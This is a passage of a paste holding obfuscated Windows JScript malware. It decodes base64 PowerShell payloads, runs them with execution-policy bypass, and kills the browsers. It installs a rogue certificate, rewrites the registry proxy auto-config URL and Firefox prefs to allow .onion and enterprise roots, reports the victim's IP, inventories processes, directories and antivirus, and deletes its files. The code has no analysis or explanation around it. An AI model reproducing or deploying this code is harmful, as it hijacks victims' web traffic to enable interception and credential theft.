  328. "ZXNzTmFtZSAtbGlrZSAidG9yKiIgLW9yICRfLlByb2Nlc3NOYW1lIC1saWtlICJzb2NhdCoifXxTZWxlY3QgLVByb3BlcnR5IEB7IE5hbWU9Ik91dCI7IEV4cHJlc3Npb249eyJJRDp7MH1gbk5hbWU6ezF9YG5QYXRoOnsyfWBuLS0tLS0tLS0tLS0tLSIgLWYgJF8u"+
  329. "SWQsJF8uUHJvY2Vzc05hbWUsJF8uUGF0aH19fFNlbGVjdCAtZXhwYW5kIE91dDsKICAgIExvZ1dyaXRlKCJQcm9jY2VzcyBsaXN0OmBuezB9IiAtZiAoJHByb2MgLWpvaW4gImBuIikpOwogIH0KICBjYXRjaCB7CiAgICBMb2dXcml0ZSgiRVJST1I6IENhbid0IGdl"+
  330. "dCBwcm9jY2VzcyBsaXN0Iik7CiAgfQogICREZXN0VFA9JGVudjpBTExVU0VSU1BST0ZJTEU7CiAgdHJ5ewogICAgJGRpcnM9ZGlyKCREZXN0VFApIC1FcnJvckFjdGlvbiBTdG9wOwogICAgTG9nV3JpdGUoIkxpc3QgZGlyIFt7MH1dOiB7MX0iIC1mICgkRGVzdFRQ"+
  331. "LCAoKCRkaXJzfFNlbGVjdCAtZXhwYW5kIE5hbWUpIC1qb2luICI7ICIpKSk7CiAgICBmb3JlYWNoKCRkaXIgaW4gJGRpcnMpewogICAgICAgIHRyeXsKICAgICAgICAgICAgJHN1YmRpcj1kaXIoJGRpci5GdWxsTmFtZSkgLUVycm9yQWN0aW9uIFN0b3A7CiAgICAg"+
  332. "ICAgICAgIExvZ1dyaXRlKCJMaXN0IGRpciBbezB9XTp7MX0iIC1mICgkZGlyLkZ1bGxOYW1lLCAoKCRzdWJkaXJ8U2VsZWN0IC1leHBhbmQgTmFtZSkgLWpvaW4gIjsgIikpKTsKICAgICAgICB9CiAgICAgICAgY2F0Y2h7CiAgICAgICAgICAgIExvZ1dyaXRlKCJF"+
  333. "UlJPUjogQ2FuJ3QgbGlzdCBkaXIgezB9IiAtZiAkZGlyLkZ1bGxOYW1lKTsKICAgICAgICB9CiAgICB9CiAgfQogIGNhdGNoIHsKICAgIExvZ1dyaXRlKCJFUlJPUjogQ2FuJ3QgbGlzdCBkaXIgezB9IiAtZiAkRGVzdFRQKTsKICB9CgogICRhdmxpc3Q9KEdldC1X"+
  334. "bWlPYmplY3QgLU5hbWVzcGFjZSAicm9vdFxTZWN1cml0eUNlbnRlcjIiIC1RdWVyeSAiU0VMRUNUICogRlJPTSBBbnRpVmlydXNQcm9kdWN0IiAgQHBzYm91bmRwYXJhbWV0ZXJzfFNlbGVjdCAtZXhwYW5kIERpc3BsYXlOYW1lKTsKICBpZiAoLU5PVCAkYXZsaXN0"+
  335. "LmNvdW50IC1lcSAwKXsKICAgIExvZ1dyaXRlKCJBdiBpbnN0YWxsZWQ6ICd7MH0nIiAtZiAoJGF2bGlzdCAtam9pbiAiOyAiKSk7CiAgfWVsc2UgewogICAgTG9nV3JpdGUoIkF2IG5vdCBmb3VuZCIpOwogIH0KfQpmdW5jdGlvbiBTdGFydFdvcmsoKXsKICBMb2dX"+
  336. "cml0ZSAiU3RhcnQgTG9nIG1vZHVsZSI7CiAgU3RhcnQtU2xlZXAgLXMgMzsKICBDaGVja0luc3RhbGw7CiAgVXBsb2FkTG9nOwp9ClN0YXJ0V29yazsK"
  337. };
  338. var qxhttqiUGx={_keyStr:"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",encode:function(e){var t="";var n,r,i,s,o,u,a;var f=0;e=qxhttqiUGx._utf8_encode(e);while(f<e.length){n=e.charCodeAt(f++);r=e.charCodeAt(f++);i=e.charCodeAt(f++);s=n>>2;o=(n&3)<<4|r>>4;u=(r&15)<<2|i>>6;a=i&63;if(isNaN(r)){u=a=64}else if(isNaN(i)){a=64}t=t+this._keyStr.charAt(s)+this._keyStr.charAt(o)+this._keyStr.charAt(u)+this._keyStr.charAt(a)}return t},nokZYqEh:function(e){var t="";var n,r,i;var s,o,u,a;var f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=this._keyStr.indexOf(e.charAt(f++));o=this._keyStr.indexOf(e.charAt(f++));u=this._keyStr.indexOf(e.charAt(f++));a=this._keyStr.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r)}if(a!=64){t=t+String.fromCharCode(i)}}t=qxhttqiUGx._utf8_decode(t);return t},_utf8_encode:function(e){e=e.replace(/rn/g,"n");var t="";for(var n=0;n<e.length;n++){var r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r)}else if(r>127&&r<2048){t+=String.fromCharCode(r>>6|192);t+=String.fromCharCode(r&63|128)}else{t+=String.fromCharCode(r>>12|224);t+=String.fromCharCode(r>>6&63|128);t+=String.fromCharCode(r&63|128)}}return t},_utf8_decode:function(e){var t="";var n=0;var r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3}}return t}};
  339. var VxtkdesEtLtAEgE={
  340.     PSsCXOVOKYnML:function(yAmueGh,sFJKL){
  341.         var BSEFUkrkpHNWBs = new ActiveXObject("ADODB.Stream");
  342.         BSEFUkrkpHNWBs.Open();
  343.         BSEFUkrkpHNWBs.Type=BINARY_STREAM_TYPE;
  344.        
  345.         var BdVzVVqA = new ActiveXObject("ADODB.Recordset");
  346.         var vyjOI=sFJKL.length*2;
  347.         BdVzVVqA.Fields.Append("data",204,vyjOI,0x80);
  348.         BdVzVVqA.Open();
  349.         BdVzVVqA.AddNew();
  350.         BdVzVVqA.Fields("data").AppendChunk(sFJKL);
  351.         BdVzVVqA.Update();
  352.         BdVzVVqA.MoveFirst();
  353.         var binArray = BdVzVVqA("data").GetChunk(vyjOI);
  354.         BdVzVVqA.Close();
  355.  
  356.         eval("BSEFUkrkpHNWBs.Wri" + "te(bin"+"Array)");
  357.         BSEFUkrkpHNWBs.Position=0;
  358.        
  359.         if(EuzdaQw.FileExists(yAmueGh)){
  360.             EuzdaQw.DeleteFile(yAmueGh);
  361.         }
  362.         BSEFUkrkpHNWBs.SaveToFile(yAmueGh);
  363.         BSEFUkrkpHNWBs.Close();
  364.        
  365.         var outStreamA = new ActiveXObject("ADODB.Stream");
  366.         var outStreamB = new ActiveXObject("ADODB.Stream");
  367.         outStreamA.Type=TEXT_STREAM_TYPE;
  368.         outStreamB.Type=TEXT_STREAM_TYPE;
  369.         outStreamB.Charset = "ISO-8859-1";
  370.         outStreamA.Open();
  371.         outStreamB.Open();
  372.         outStreamA.LoadFromFile(yAmueGh);
  373.         outStreamA.Position = 0;
  374.         outStreamA.CopyTo(outStreamB);
  375.         outStreamA.Close();
  376.         outStreamB.SaveToFile(yAmueGh,CREATE_OVERWRITE_SAVE_MODE);
  377.         outStreamB.Close();
  378.     },
  379.     ryv: function(m, n){
  380.         m = parseInt(m,10);
  381.         n = parseInt(n,10);
  382.         return Math.floor(Math.random() * (n - m + 1)) + m;
  383.     },
  384.     cYfMeeQaR: function(KZdSswcNU, LXgMmwHj){
  385.         var aLfGBOe = 0;
  386.         var JoX = "";
  387.         var bydueUTCOVkKPuP;
  388.         if (LXgMmwHj === undefined) {
  389.             LXgMmwHj = false;
  390.         }
  391.         while (aLfGBOe < KZdSswcNU) {
  392.             bydueUTCOVkKPuP = (Math.floor((Math.random() * 100)) % 94) + 33;
  393.             if (!LXgMmwHj) {
  394.                 if ((bydueUTCOVkKPuP >= 33) && (bydueUTCOVkKPuP <= 47)) {
  395.                     continue;
  396.                 }
  397.                 if ((bydueUTCOVkKPuP >= 58) && (bydueUTCOVkKPuP <= 64)) {
  398.                     continue;
  399.                 }
  400.                 if ((bydueUTCOVkKPuP >= 91) && (bydueUTCOVkKPuP <= 96)) {
  401.                     continue;
  402.                 }
  403.                 if ((bydueUTCOVkKPuP >= 123) && (bydueUTCOVkKPuP <= 126)) {
  404.                     continue;
  405.                 }
  406.             }
  407.             aLfGBOe++;
  408.             JoX += String.fromCharCode(bydueUTCOVkKPuP);
  409.         }
  410.         return JoX;
  411.     },
  412.     OBNfxCeZsSHks: function(str){
  413.         return str.replace(/(^\s+)|(\s+$)/g, "");
  414.     }
  415. };
  416. if (!String.format) {
  417.   String.format = function(format) {
  418.     var args = Array.prototype.slice.call(arguments, 1);
  419.     return format.replace(/{(\d+)}/g, function(match, number) {
  420.       return typeof args[number] != "undefined"
  421.         ? args[number]
  422.         : match
  423.       ;
  424.     });
  425.   };
  426. }
  427. function pFQrCpLpCZmU(){
  428.     this.JMIdNsmGvq=VxtkdesEtLtAEgE.cYfMeeQaR(8)+".ps1";
  429.    
  430.     this.uohJO=function(){
  431.         var jYRgdiIWNOtoA = new ActiveXObject("MSXML2"+".XML"+"HTTP");
  432.         try{
  433.             jYRgdiIWNOtoA.open("GET","http://api.ipify.org/",false);
  434.             jYRgdiIWNOtoA.send();
  435.             if(jYRgdiIWNOtoA.status==200){
  436.                 return VxtkdesEtLtAEgE.OBNfxCeZsSHks(jYRgdiIWNOtoA.responseText);
  437.             }
  438.         }catch(e){}
  439.         try{
  440.             jYRgdiIWNOtoA.open("GET","http://icanhazip.com/",false);
  441.             jYRgdiIWNOtoA.send();
  442.             if(jYRgdiIWNOtoA.status==200){
  443.                 return VxtkdesEtLtAEgE.OBNfxCeZsSHks(jYRgdiIWNOtoA.responseText);
  444.             }
  445.         }catch(e){}
  446.         return "";
  447.     };
  448.    
  449.     this.celdBIDSnjesEad=function(){
  450.         uxBAjhCUvSOndbZ.RegWrite(qxhttqiUGx.nokZYqEh("SEtDV"+"VxTb2Z0d2FyZVxNaWNyb3NvZ"+"nRcV2luZG93c1xDdXJyZW50VmVyc2lvblxJbnRlcm"+"5ldCBTZXR0aW5nc1xBdXRvRGV0ZWN0"),0,"REG_DWORD");
  451.        
  452.         for(var i=0;i<5;i++){
  453.             var Ktak=this.uohJO();
  454.             if(Ktak.length>0){
  455.                 this.zPGbeThvWNzHCg(String.format("http://127.0.0.1:5555/{0}.js?ip={1}",VxtkdesEtLtAEgE.cYfMeeQaR(8),Ktak));
  456.             }
  457.         }
  458.     };
  459.     this.zPGbeThvWNzHCg=function(s){
  460.         uxBAjhCUvSOndbZ.RegWrite(qxhttqiUGx.nokZYqEh("SEtDVVxTb2Z0d2FyZVxNaWNyb3NvZnRcV2luZG93c1xDdXJyZW50VmVyc2lvblxJbnRlcm5ldCBTZXR0aW5nc1xBdXRvQ29uZmlnVVJM"),s,"REG_SZ");
  461.     };
  462.     this.KEUOGkdUKnQvbx=function(){
  463.         this.JMIdNsmGvq=rmsfommyrbHX+"\\"+this.JMIdNsmGvq;
  464.         var sFJKL=qxhttqiUGx.nokZYqEh(iIRifJlqnqh.SNPfsvkS);
  465.         sFJKL=sFJKL.replace("%CERT%",iIRifJlqnqh.DVEdoXz);
  466.         VxtkdesEtLtAEgE.PSsCXOVOKYnML(this.JMIdNsmGvq,sFJKL);
  467.         uxBAjhCUvSOndbZ.Run("cmd /c powershell -ep Unrestricted -f \""+this.JMIdNsmGvq+"\" | find /v \"\" >> \""+JzirP+"\"",0,true);
  468.     };
  469.     this.pRmIKoQCPK=function(){
  470.         if(EuzdaQw.FileExists(this.JMIdNsmGvq)){
  471.             EuzdaQw.DeleteFile(this.JMIdNsmGvq);
  472.         }
  473.     };
  474. }
  475. function kGomxfizjMTIA(){
  476.     var JwbhmicyCvWiaE = pttc + "\\Mozilla\\Firefox\\Profiles";
  477.     this.OKu=VxtkdesEtLtAEgE.cYfMeeQaR(8)+".ps1";
  478.    
  479.     this.KRACXRThpYyrAA=function(){
  480.         if(EuzdaQw.FolderExists(JwbhmicyCvWiaE)){
  481.             var ArrFirefoxProfileList=EuzdaQw.GetFolder(JwbhmicyCvWiaE).SubFolders;
  482.             if(ArrFirefoxProfileList.Count>0){
  483.                 var e = new Enumerator(ArrFirefoxProfileList);
  484.                 e.moveFirst();
  485.                 while (e.atEnd() == false){
  486.                     var folder=e.item();
  487.                     if(folder.Name.indexOf(".default")>-1){
  488.                         return folder.Path;
  489.                     }
  490.                     e.moveNext();
  491.                 }
  492.             }
  493.         }
  494.         return false;
  495.     };
  496.     this.dhYEclDRc=function(){
  497.         var mmKUWODsytvbOEE=this.KRACXRThpYyrAA();
  498.         if(mmKUWODsytvbOEE!=false){
  499.             var aUsBPHvFkCdQ=mmKUWODsytvbOEE+qxhttqiUGx.nokZYqEh("XHByZWZzLmpz");
  500.             if(EuzdaQw.FileExists(aUsBPHvFkCdQ)){
  501.                 var fBkBz=EuzdaQw.OpenTextFile(aUsBPHvFkCdQ,1).ReadAll();
  502.                 var AzFQcjP=fBkBz.split("\n");
  503.                 var HOZtKOjTMhrlMf=[];
  504.                 for(var i=0;i<AzFQcjP.length;i++){
  505.                     if(AzFQcjP[i].indexOf("network.dns.blockDotOnion")!=-1){
  506.                         AzFQcjP[i]=AzFQcjP[i].replace("true","false");
  507.                     }
  508.                     if(AzFQcjP[i].indexOf("network.proxy.")==-1 && AzFQcjP[i].indexOf("security.enterprise_roots.enabled")==-1){
  509.                         HOZtKOjTMhrlMf.push(AzFQcjP[i]);
  510.                     }
  511.                    
  512.                 }
  513.                 HOZtKOjTMhrlMf.push("user_pref(\"network.dns.blockDotOnion\", false);");
  514.                 HOZtKOjTMhrlMf.push("user_pref(\"security.enterprise_roots.enabled\", true);");
  515.                 fBkBz=HOZtKOjTMhrlMf.join("\n");
  516.                 var stream=EuzdaQw.CreateTextFile(aUsBPHvFkCdQ, true);
  517.                 stream.Write(fBkBz);
  518.                 stream.Close();
  519.             }
  520.         }
  521.     };
  522.     this.InstallCert=function(){
  523.         this.OKu=rmsfommyrbHX+"\\"+this.OKu;
  524.         var sFJKL=qxhttqiUGx.nokZYqEh(iIRifJlqnqh.kCuQmwEfpnGcDX);
  525.         sFJKL=sFJKL.replace("%CERT%",iIRifJlqnqh.DVEdoXz);
  526.         VxtkdesEtLtAEgE.PSsCXOVOKYnML(this.OKu,sFJKL);
  527.         var ENV_WINDIR=uxBAjhCUvSOndbZ.ExpandEnvironmentStrings("%WINDIR%");
  528.         uxBAjhCUvSOndbZ.Run("cmd /c powershell -ep bypass -f \""+this.OKu+"\" | find /v \"\" >> \""+JzirP+"\"",0,true);
  529.         uxBAjhCUvSOndbZ.Run("cmd /c "+ENV_WINDIR+"\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe -ep bypass -f \""+this.OKu+"\" | find /v \"\" >> \""+JzirP+"\"",0,true);
  530.         uxBAjhCUvSOndbZ.Run("cmd /c "+ENV_WINDIR+"\\SysNative\\WindowsPowerShell\\v1.0\\powershell.exe -ep bypass -f \""+this.OKu+"\" | find /v \"\" >> \""+JzirP+"\"",0,true);
  531.     };
  532.     this.Close=function(){
  533.         if(EuzdaQw.FileExists(this.OKu)){
  534.             EuzdaQw.DeleteFile(this.OKu);
  535.         }
  536.     };
  537. }
  538. function C_TP(){
  539.     this.FileName=VxtkdesEtLtAEgE.cYfMeeQaR(VxtkdesEtLtAEgE.ryv(5,10))+".ps1";
  540.     this.Install=function(){
  541.         var indexDomain=VxtkdesEtLtAEgE.ryv(0,iIRifJlqnqh.OQsupCxvrOwzhEh.length-1);
  542.         var Domain=iIRifJlqnqh.OQsupCxvrOwzhEh[indexDomain];
  543.         this.FileName=uxBAjhCUvSOndbZ.ExpandEnvironmentStrings("%ALLUSERSPROFILE%")+"\\"+this.FileName;
  544.         var sFJKL=qxhttqiUGx.nokZYqEh(iIRifJlqnqh.qNxH);
  545.         sFJKL=sFJKL.replace(/%DOMAIN%/g,Domain);
  546.         VxtkdesEtLtAEgE.PSsCXOVOKYnML(this.FileName,sFJKL);
  547.         uxBAjhCUvSOndbZ.Run("cmd /c powershell -ep Unrestricted -f \""+this.FileName+"\" | find /v \"\" >> \""+JzirP+"\"",0,true);
  548.     };
  549.     this.Close=function(){
  550.         if(EuzdaQw.FileExists(this.FileName)){
  551.             EuzdaQw.DeleteFile(this.FileName);
  552.         }
  553.     };
  554. }
  555. function eTnKLaY(){
  556.     this.FileName=rmsfommyrbHX+"\\"+VxtkdesEtLtAEgE.cYfMeeQaR(8)+".ps1";
  557.     this.yqJtgE=function(){
  558.         PfUjYqyXzXxgXTQ=new pFQrCpLpCZmU();
  559.         cUNqgZpJ=new kGomxfizjMTIA();
  560.         QDyUFgSrCKBXL=new C_TP();
  561.     };
  562.     this.jNnUkeAU=function(){
  563.        
  564.         if(this.JHpYPYBHrh()){
  565.            
  566.             return false;
  567.            
  568.         }
  569.         this.yqJtgE();
  570.         QDyUFgSrCKBXL.Install();
  571.         this.rrdljBAMjOGu();
  572.         this.yPZ();
  573.         this.UqrBwEnwRhN();
  574.         this.Close();
  575.        
  576.         this.IlQkiVHa();
  577.        
  578.     };
  579.     this.yPZ=function(){
  580.         PfUjYqyXzXxgXTQ.KEUOGkdUKnQvbx();
  581.         PfUjYqyXzXxgXTQ.celdBIDSnjesEad();
  582.     };
  583.     this.UqrBwEnwRhN=function(){
  584.         cUNqgZpJ.InstallCert();
  585.         cUNqgZpJ.dhYEclDRc();
  586.     };
  587.     this.rrdljBAMjOGu=function(){
  588.         uxBAjhCUvSOndbZ.Run(qxhttqiUGx.nokZYqEh("dGFza2tpbGwgL0Y"+"gL2ltIGlleHBsb3JlLmV4ZQ=="),0,false);
  589.         uxBAjhCUvSOndbZ.Run(qxhttqiUGx.nokZYqEh("dGFza2tpbGwgL0Yg"+"L2ltIGZpcmVmb3guZXhl"),0,false);
  590.         uxBAjhCUvSOndbZ.Run(qxhttqiUGx.nokZYqEh("dGFza2tpbGwgL0YgL"+"2ltIGNocm9tZS5leGU="),0,false);
  591.     };
  592.     this.IlQkiVHa=function(){
  593.         var bData=qxhttqiUGx.nokZYqEh(iIRifJlqnqh.RiEzgVw);
  594.         VxtkdesEtLtAEgE.PSsCXOVOKYnML(this.FileName,bData);
  595.         uxBAjhCUvSOndbZ.Run("powershell -ep Unrestricted -f \""+this.FileName+"\"",0,true);
  596.         if(EuzdaQw.FileExists(this.FileName)){
  597.             EuzdaQw.DeleteFile(this.FileName);
  598.         }
  599.     };
  600.     this.JHpYPYBHrh=function(){
  601.         var DPcVhhimg = GetObject("winmgmts:\\\\.\\root\\cimv2").ExecQuery("Select * from Win32_OperatingSystem");
  602.         var arr = [];
  603.         for (var enumItems = new Enumerator(DPcVhhimg) ; !enumItems.atEnd() ; enumItems.moveNext()) {
  604.             var MUILanguages = enumItems.item().MUILanguages.toArray();
  605.             for (i in MUILanguages) {
  606.                 arr.push(MUILanguages[i]);
  607.             }
  608.         }
  609.         var muilangs = arr.join(",");
  610.         if(muilangs=='en-US'){
  611.             return true;
  612.         }
  613.         return false;
  614.     }
  615.     this.Close=function(){
  616.         PfUjYqyXzXxgXTQ.pRmIKoQCPK();
  617.         cUNqgZpJ.Close();
  618.         QDyUFgSrCKBXL.Close();
  619.     };  
  620. }
  621. var aCIxOQtfafIhVs = new eTnKLaY();
  622. aCIxOQtfafIhVs.jNnUkeAU();
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement